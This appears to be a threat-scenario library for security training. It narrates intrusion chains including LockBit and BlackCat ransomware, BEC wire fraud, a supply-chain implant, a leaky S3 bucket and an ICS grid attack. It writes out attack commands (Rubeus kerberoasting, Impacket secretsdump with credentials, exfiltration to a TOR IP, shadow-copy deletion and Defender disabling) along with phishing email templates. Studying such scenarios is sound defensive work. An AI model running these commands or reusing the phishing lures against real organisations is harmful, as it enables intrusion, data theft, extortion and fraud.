Attack Scenario Library¶

DAY 0:
─────────────────────────────────────────────────────────
Attacker sends spearphishing email to finance department:

From: payroll-notifications@payr0ll-service.com (lookalike domain)
To: accounts.payable@targetcorp.com
Subject: ACTION REQUIRED: ADP Payroll Update - Direct Deposit Changes

"Dear Team,
ADP has updated our security policy requiring re-enrollment for direct
deposit. Please review and confirm your banking information by Friday.

[Open Secure Document]"

→ HTML attachment uses HTML smuggling to drop ISO file
→ ISO contains LNK shortcut + DLL
→ LNK executes: cmd /c start /b rundll32.exe update.dll,Install
→ DLL loads Cobalt Strike beacon
→ Beacon: HTTPS to compromised CDN (domain fronting via Cloudflare)
→ 45-second sleep + 15% jitter

DAY 1-3:
─────────────────────────────────────────────────────────
Beacon active on finance workstation:
→ whoami /all (T1033)
→ net user /domain (T1087.002)
→ systeminfo (T1082)
→ ipconfig /all (T1016)
→ net view /all (T1135)

Deploy SharpHound data collector:
→ Upload via Cobalt Strike: upload SharpHound.exe C:\Windows\Temp\svchost32.exe
→ Execute: execute-assembly SharpHound.exe -c All --ZipFileName data.zip
→ Download results to analyst

BloodHound analysis reveals:
→ Finance workstation user is member of Finance_Managers group
→ Finance_Managers has WriteDacl on HR_System$ share
→ HR_System$ server is domain joined
→ Domain backup operator account has logon rights to backup server
→ Backup server can DCSync (misconfigured)

Attacker selects path: Finance → Kerberoast service account → pivot to backup server → DCSync

DAY 4-5:
─────────────────────────────────────────────────────────
Kerberoasting against SVC_Backup account (SPN: backup/backupserver.corp.local):
→ Rubeus kerberoast /format:hashcat → SVC_Backup TGS hash extracted
→ Hashcat cracking: rules attack on rockyou.txt + company wordlist
→ Password cracked: "Backup2022!" (in 4 hours with GPU cluster)

Lateral movement to backup server:
→ Impacket wmiexec.py CORP/SVC_Backup:Backup2022!@10.0.1.45
→ Shell on backup server
→ Enumerate: Does SVC_Backup have DS-Replication rights?
→ BloodHound confirms: YES

DCSync attack:
→ impacket secretsdump.py CORP/SVC_Backup:Backup2022!@10.0.1.10 -just-dc-ntlm
→ All domain account hashes extracted including krbtgt
→ Administrator: aad3b435b51404eeaad3b435b51404ee:32196B56FFE6F45E294117B4D972F8B2
→ krbtgt: aad3b435b51404eeaad3b435b51404ee:e6d31a1d9e3c4d1b5f8e72f4a2c6e8b9

DAY 5-6:
─────────────────────────────────────────────────────────
Identify high-value data:
→ File share enumeration: find shares containing M&A, contracts, customer data
→ Target: \\fileserver\FinanceDocs\, \\fileserver\LegalContracts\

Data staging and exfiltration:
→ xcopy \\fileserver\FinanceDocs C:\Windows\Temp\stage\ /S
→ 7za.exe a -p"Archive2024!" -mx1 C:\Windows\Temp\data.7z C:\Windows\Temp\stage\
→ StealBit: HTTP POST to 185.220.x.x:8443 (TOR exit node)
→ Total: 47 GB exfiltrated over 6 hours

Confirm exfil success, notify group

DAY 7 — 03:00 AM (deliberate timing):
─────────────────────────────────────────────────────────
Pre-deployment cleanup:
→ vssadmin delete shadows /all /quiet (T1490)
→ bcdedit /set {default} recoveryenabled No
→ wbadmin delete catalog -quiet
→ net stop "Windows Defender Antivirus Service" (T1562.001)
→ sc disable WinDefend

Mass lateral movement (T1570):
→ PsExec deployed to 200+ hosts simultaneously via GPO (T1072)
→ ADMIN$ share used for distribution

Encryption begins:
→ LockBit locker binary runs on all hosts simultaneously
→ .lockbit3 extension added to all files
→ Ransom note !!-README-RESTORE-FILES-!!.txt in every directory
→ Complete encryption: ~45 minutes (2,300 endpoints)
→ Desktop wallpaper changed: "YOUR NETWORK HAS BEEN ENCRYPTED"

Evidence: Data leak site shows 47GB stolen
Ransom demand: $4.7M in Monero (0.1% of annual revenue)
Deadline: 72 hours

WEEK 1: Job offer accepted
├── LinkedIn updated with "Open to Work" (HR notices via social monitoring)
├── Resignation submitted — works 2-week notice
└── Access not immediately revoked (IT ticket backlog)

WEEK 2-3: Active staging
├── UEBA alert: file access volume 8x baseline (Monday 11 PM - 2 AM)
├── DLP alert: 47 archives uploaded to personal Dropbox account
├── Email: Forwarded project documentation to personal Gmail
└── USB: 128GB drive inserted to workstation (logged by Sysmon)

WEEK 4-6: Post-departure exploitation
├── Forgot to revoke SaaS access: GitHub private repo still accessible
├── Used personal device (not managed) to clone company repos
└── Joined competitor: company IP appears in competitor product 6 months later

STEP 1: Target identified
└── Attacker researches "target.com uses Orion-equivalent software" via LinkedIn/job posts

STEP 2: Vendor compromise
└── Phishing against DevOps engineer at software vendor
└── Credentials to build server obtained

STEP 3: Build system implant
└── SUNSPOT equivalent injected into CI/CD pipeline
└── Trojanized DLL compiled into next software update

STEP 4: Update distributed
└── 12,000 customers install update
└── Implant activates after 14-day delay
└── Reports environment fingerprint to C2

STEP 5: Target selection
└── High-value targets (government, defense, financial) receive stage 2
└── Others: implant remains dormant

STEP 6: Long-term espionage
└── Using legitimate cloud services as C2
└── 6-9 month dwell time before discovery

DAY 1 — RECONNAISSANCE
────────────────────────────────────────────────────────────────
Attacker harvests from LinkedIn and company website:
  - CFO name: Sarah Mitchell (sarah.mitchell@target.com)
  - CEO name: Robert Chen (robert.chen@target.com)
  - External counsel: Baker & Greene LLP (listed in SEC filings)
  - Ongoing M&A activity: press release reveals acquisition talks

DAY 3 — DOMAIN REGISTRATION
────────────────────────────────────────────────────────────────
Attacker registers: target-corp.com (lookalike — hyphen added)
Configures: robert.chen@target-corp.com
SPF record added to appear legitimate
No DMARC policy at target.com — no alignment check possible

DAY 5 — THREAD HIJACKING (AiTM variant)
────────────────────────────────────────────────────────────────
Phishing email to sarah.mitchell@target.com:
  Subject: "Secure document review — acquisition NDA"
  Link → Evilginx2 reverse proxy → Microsoft 365 login (real)
  Victim authenticates → session cookie captured
  Attacker logs into M365 as Sarah — MFA bypassed via session theft
  Attacker reads last 30 days of CFO email threads
  Key finding: pending $1.8M payment to vendor "Apex Solutions"

DAY 8 — BEC EXECUTION
────────────────────────────────────────────────────────────────
From: robert.chen@target-corp.com (spoofed CEO lookalike)
To: sarah.mitchell@target.com
Subject: Re: Apex Solutions payment — URGENT change

"Sarah, Apex has notified us of a bank account change effective today.
Please update the wire instructions for the $1.8M payment:
  Bank: City National Bank
  Account: 4471829037
  Routing: 122016066
  Reference: APX-2026-Q1-FINAL
This must go today — our counsel says delay triggers penalty clauses.
Do not discuss via phone — I am in board meetings all day. — Robert"

DAY 8 +4 HOURS:
────────────────────────────────────────────────────────────────
CFO initiates wire transfer per "CEO" instruction
Finance controller approves (second approver also deceived)
$1.8M transferred to attacker-controlled account
Attacker immediately moves $1.2M to crypto (Monero)
Remaining $600K sits in mule account

DAY 9 — DISCOVERY
────────────────────────────────────────────────────────────────
Real CEO asks about Apex payment status
CFO realizes CEO never sent the email
Incident declared — FBI IC3 contacted within 4 hours
Financial Institution Fraud Unit freezes $600K in mule account
$1.2M already converted — unrecoverable

AUTOMATED DISCOVERY PHASE (no human involvement)
────────────────────────────────────────────────────────────────
GrayhatWarfare / S3Scanner bot scans for public S3 buckets:
  s3://startup-prod-backups/ — PUBLIC READ (misconfigured)
  Contents: nightly database backup files (.sql.gz)
  Largest file: backup-2026-03-01.sql.gz (4.2GB)

No authentication required — direct download via HTTP
$ aws s3 cp s3://startup-prod-backups/backup-2026-03-01.sql.gz . --no-sign-request

HUMAN ATTACKER TAKES OVER
────────────────────────────────────────────────────────────────
Download completes in 8 minutes (no rate limiting, no VPC endpoint)
Database contains:
  - 450,000 customer records (name, email, address, phone)
  - 12,000 records with partial payment card data (last4, exp)
  - Password hashes: bcrypt (most), MD5 (legacy users from 2019)

Attacker posts sample on hacker forum — offers full DB for $15,000
HaveIBeenPwned researcher notifies company 3 days after initial access
CloudTrail shows no alerts — S3 server access logging was disabled

DISCOVERY BY COMPANY
────────────────────────────────────────────────────────────────
Notification from HIBP researcher
Security team reviews CloudTrail:
  - GetObject API calls from 45.x.x.x (VPN exit, Netherlands)
  - No alert fired: S3 bucket was not in Macie scope
  - No GuardDuty finding: bucket listed as "internal backup" in tag
  - First access: 96 hours ago — dwell time exceeded detection window

DAY -14: INITIAL ACCESS
────────────────────────────────────────────────────────────────
IAB (Initial Access Broker) sells RDP credentials:
  Target: \\DESKTOP-CITRIX01 (Citrix gateway — unpatched CVE-2019-19781)
  Credentials: svc-citrix-admin / Citrix2019!
  Price paid: $8,000 on underground forum

Affiliate purchases access, establishes Cobalt Strike beacon
Beacon communicates over HTTPS to categorized CDN domain
No EDR on Citrix server — legacy Windows Server 2012 R2

DAY -7 to -1: RECONNAISSANCE AND STAGING
────────────────────────────────────────────────────────────────
BloodHound reveals path to DA via misconfigured ADCS (ESC1)
ALPHV affiliate obtains Domain Admin in 4 hours
Identifies EHR system: Epic on 847 clinical workstations + 12 servers
Identifies PACS (radiology imaging): 23 TB on dedicated SAN
Identifies backup: Veeam on Windows VM (not offline/immutable)
Stages BlackCat encryptor on 200 systems via GPO

DAY 0: DETONATION — 03:47 AM (Sunday)
────────────────────────────────────────────────────────────────
BlackCat ransomware executes across network:
  - 847 EHR workstations encrypted (Epic offline)
  - 12 clinical servers encrypted
  - PACS imaging system encrypted (no backup — encrypted in-place)
  - Backup server encrypted
  - 2.1M patient records exfiltrated to BlackCat leak infrastructure

Staff arrive at 06:30 AM — all clinical systems display ransom note

PATIENT SAFETY INCIDENTS (Day 0-2):
────────────────────────────────────────────────────────────────
INCIDENT 1: ICU patient — medication dosing from memory;
             incorrect dose administered (minor injury)
INCIDENT 2: Lab results unavailable — delayed sepsis diagnosis
             Patient transferred, recovered
INCIDENT 3: Surgery scheduled without imaging — postponed 4 days
             Patient outcome not adversely affected

Ransom demand: $4.8M in Monero
Attacker: "Pay within 72 hours or patient data published"
OFAC check: ALPHV not (yet) on SDN list — payment legally permissible
HHS/OCR notified (HIPAA: within 60 days of discovery)
FBI engaged — decryption key available for cooperating victims

PHASE 1: IT NETWORK COMPROMISE (Months 1-3)
────────────────────────────────────────────────────────────────
Initial access: Spearphishing IT staff → credential capture
Lateral movement: IT network → historian servers in OT DMZ
Persistence: Custom implant on engineering workstation (EWS)
Discovery: Map OT network via Dragos-detectable passive scanning
Intelligence: ICS protocols in use: IEC 61850, IEC 104, Modbus

PHASE 2: OT NETWORK ACCESS (Months 3-5)
────────────────────────────────────────────────────────────────
Jump from IT DMZ to OT DMZ via historian server
Attacker installs custom ICS malware (CRASHOVERRIDE-equivalent):
  Module 1: IEC 61850 protocol module (breaker control)
  Module 2: IEC 104 module (SCADA communication)
  Module 3: Data wiper (post-attack cleanup)
  Module 4: Denial-of-service for Safety systems

PHASE 3: DISRUPTION EVENT (Coordinated with geopolitical event)
────────────────────────────────────────────────────────────────
T+00:00 — Malware issues OPEN commands to 17 transmission breakers
T+00:05 — 500MW drops from grid; 230,000 customers lose power
T+00:10 — Operators attempt manual restoration — HMI unresponsive (DoS)
T+00:15 — ICS wiper executes: overwrites EWS firmware
T+00:30 — Physical manual operations begin (breakers require on-site reset)
T+04:30 — Power restored to 85% of affected customers
T+09:00 — Full restoration; EWS requires hardware replacement

DISCOVERY AND ATTRIBUTION
────────────────────────────────────────────────────────────────
CISA Emergency Directive issued
ICS forensics team (Dragos/Mandiant) deployed
Malware samples match ELECTRUM toolset
Attribution: GRU Unit 74455 (Sandworm Team)
NERC CIP violation findings: CIP-005 (ESP), CIP-007 (patch management)